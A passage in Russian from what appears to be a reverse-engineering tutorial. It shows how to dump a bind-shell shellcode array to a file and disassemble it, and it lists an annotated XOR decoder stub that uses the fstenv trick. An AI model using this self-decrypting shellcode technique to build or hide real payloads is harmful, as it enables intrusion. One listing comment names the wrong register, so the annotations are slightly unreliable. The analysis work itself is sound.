программа, сохраняющая
Выделяем массив bind_shellcode
и копируем в нашу программу, по ходу дела переименовывая его в shellcode. Компилируем с настройками по умолчанию, запускаем. На диске образуется файл shellcode, готовый к загрузке в IDA Pro или hiew (только не забудьте переключить дизассемблер в 32-разрядный режим!).
Начало дизассемблерного листинга выглядят так:
00000000: 29C9 sub ecx,ecx ; ECX := 0
00000002: 83E9B0 sub ecx,-050 ; EBX := 50h
00000005: D9EE fldz ; загрузить +0.0 на стек FPU
00000007: D97424F4 fstenv [esp][-0C] ; сохранить среду FPU в памяти
0000000B: 5B pop ebx ; EBX := &fldz
0000000C: 81731319F50437 xor d,[ebx][13],03704F519
0000000C ; ^расшифровываем двойными словами
00000013: 83EBFC sub ebx,-004 ; EBX += 4:следующее двойное слово
00000016: E2F4 loop 00000000C (1) ; мотаем цикл
00000018: E59F in eax,09F ; зашифрованная команда
0000001A: EF out dx,eax ; зашифрованная команда